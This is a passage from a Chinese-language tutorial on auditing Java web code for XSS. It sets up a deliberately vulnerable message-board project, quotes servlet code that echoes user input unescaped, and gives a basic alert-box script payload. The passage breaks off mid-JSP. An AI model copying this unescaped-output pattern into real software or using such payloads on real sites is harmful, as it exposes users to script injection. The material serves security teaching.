190, 183);">`message`</span> (<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`id`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">int</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">11</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> AUTO_INCREMENT,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`name`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">255</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DEFAULT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`mail`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">255</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DEFAULT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">255</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DEFAULT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span>,<br/>  PRIMARY <span style="box-sizing: border-box;color: rgb(204, 153, 204);">KEY</span> (<span style="box-sizing: border-box;color: rgb(138, 190, 183);">`id`</span>)<br/>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">ENGINE</span>=<span style="box-sizing: border-box;color: rgb(204, 153, 204);">InnoDB</span> AUTO_INCREMENT=<span style="box-sizing: border-box;color: rgb(249, 145, 87);">7</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DEFAULT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">CHARSET</span>=utf8;<br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">-- ----------------------------</span><br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">-- Records of message</span><br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">-- ----------------------------</span><br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">BEGIN</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;panda&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;panda@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;这是一个测试储存型 XSS 的项目&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">2</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;test&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;test@test.com&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;测试数据 2。测试功能是否正确&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">3</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;test_last&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;last@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;最后一次测试，测试无误，则完成&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">4</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;熊猫&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;admin@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;你好！这里有一个新的短消息请注意查收！&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">5</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;lalala&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;lalala@qq.com&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;啦啦啦啦啦啦啦啦绿绿\r\n啦啦啦啦啦啦啦啦绿绿&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">6</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;xss&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;xss@xss.xss&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39; \&#39; test&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMIT</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">SET</span> FOREIGN_KEY_CHECKS = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>;<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下载 xss 测试源码：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/cn-panda/JavaCodeAudit" target="_blank">https://github.com/cn-panda/JavaCodeAudit</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">导入项目，可以得到以下目录</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="2.067415730337079" data-s="300,640" style="" data-type="png" data-w="534" src="https://wechat2rss.xlab.app/img-proxy/?k=7590573a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1emCE4ibXK29b4nwe7valY2Cq8PvoM9llrSbK7jnKeoeJGMfchibYIbRA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">修改连接数据库的账号密码：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoDaoImpl.java 23 行</code>:</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.15525554484088716" data-s="300,640" style="" data-type="png" data-w="2074" src="https://wechat2rss.xlab.app/img-proxy/?k=59fb80c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB187W1XSbAsic1bO4Mc57PCvLpOvsYwJ7JPYYPDQJw3QhdSoNorOBOIag%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoDaoImpl.java 69 行</code>:</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17217898832684825" data-s="300,640" style="" data-type="png" data-w="2056" src="https://wechat2rss.xlab.app/img-proxy/?k=66d0c2d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB16IQcibCsicqeJS4TcgN7QkbpnhFlvqxFF8APzQpfPibRoHnE7faUZNpAw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">项目是一个简单的留言板功能的实现，在 servlet 层接受到请求后，调<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoServiceImpl</code>，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoServiceImpl</code>在调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoDaoImpl</code>，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoDaoImpl</code>去操作数据库，进行插入和查询操作，然后封装 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfo</code>为数组对象，再把<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfo</code> 对象返回给<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoService</code>，最后 service 层再返回给 servlet 层，最终把查询的内容显示到<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">show</code>页面。</p><p><span name="menu_index_4" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x02 漏洞原理</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">XSS 是通过对网页插入可执行代码且成功地被浏览器 执行，达到攻击的目的，一般来说 XSS 的危害性没有 SQL 大，但是一次有效的 XSS 攻击可以做很多事情，比如获取 Cookies、获取用户的联系人列表、截屏、劫持等等。根据服务端的后端代码不同，XSS 的种类也不相同，一般可以分为反射型、存储型以及和反射型相近的 DOM 型。</p><p><span name="menu_index_5" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、反射型</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">拿上方下载的代码举例，在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com.sec.servlet</code>包下的 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">InfoServlet.java</code>文件中，关键代码如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">Message</span><span style="box-sizing: border-box;">(HttpServletRequest req, HttpServletResponse resp)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Auto-generated method stub</span><br/>        String message = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;msg&#34;</span>);<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>            resp.getWriter().print(message);<br/>            <br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">catch</span> (IOException e) {<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Auto-generated catch block</span><br/>            e.printStackTrace();<br/>        }<br/>    <br/>    }<br/>    </code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">获取 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">msg</code>字段，然后直接打印出来。这里就可以很直白的理解反射型 XSS 了，把你输入的东西给”原封不动“的返回给你，这里的原封不动当然是加引号的，如果在输入的内容中，插入了浏览器可以执行的 js 代码，那么就会导致这种反射型的 XSS。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如下图所示，是上述代码的功能界面：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5122749590834698" data-s="300,640" style="" data-type="png" data-w="2444" src="https://wechat2rss.xlab.app/img-proxy/?k=1377d0f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1AL4M9fSq9a8WDGicsIRK4LAiaPicLvVMcdFYwZhhmBicwj7cD5jj7sEXog%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">当我们输入正常字符的时候，返回我们刚才输入的字符：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.29140722291407223" data-s="300,640" style="" data-type="png" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=7622885d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Y8ypWahYLNWlaVcXnIiaVaty94dpQQp2SHF89vrDTkwxXp1kEfAP4RA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">但是如果我们输入的内容中含有可执行代码，如：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</code></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.26649746192893403" data-s="300,640" style="" data-type="png" data-w="2364" src="https://wechat2rss.xlab.app/img-proxy/?k=3690a931&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1DCs4cibicdsSbGtSj4uL3JCf8hIDdqwglSpXicFeSnzNicWTcbCYtuR4gQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">浏览器就会执行这段 js代码，所以我们只要控制输入的内容，就可以达到攻击效果。</p><p><span name="menu_index_6" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、储存型</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">同样拿上方下载的代码举例，在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com.sec.servlet</code>包下的 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ShowServlet.java</code>文件中，关键代码如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">ShowMessage</span><span style="box-sizing: border-box;">(HttpServletRequest req, HttpServletResponse resp)</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> ServletException, IOException </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Auto-generated method stub</span><br/>        <br/>        MessageInfoService msginfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> MessageInfoServiceImpl();<br/>        <br/>        List&lt;MessageInfo&gt; msg = msginfo.MessageInfoShowService();<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span>( msg != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>){<br/>            req.setAttribute(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;msg&#34;</span>, msg);<br/>            req.getRequestDispatcher(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;/message.jsp&#34;</span>).forward(req, resp);<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> ;<br/>        }<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">其中，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoShowService</code>主要是用于实例化<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoDaoImpl()</code>，然后调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoShowDao()</code>类，该类内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>            ....<br/>        <br/>            String sql = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;select * from message&#34;</span>;<br/>            ps = conns.prepareStatement(sql);<br/>            rs = ps.executeQuery();<br/>            messageinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ArrayList&lt;MessageInfo&gt;();<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span>(rs.next()){<br/>                MessageInfo msg = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> MessageInfo();<br/>                <br/>                msg.setName(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>));<br/>                msg.setMail(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;mail&#34;</span>));<br/>                msg.setMessage(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;message&#34;</span>));<br/>                <br/>                messageinfo.add(msg);<br/>            }<br/>  <br/>        ....<br/>      <br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> messageinfo;<br/>    }<br/>}</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主要执行的是从<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">message</code>表中查询所有数据，然后将 name、mail、message 的值加到 messageinfo List 中，最后返回给 servlet 层。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这段代码中有地址转发，在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">message.jsp</code>中存在以下内容：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">&lt;%<br/>    List&lt;MessageInfo&gt; 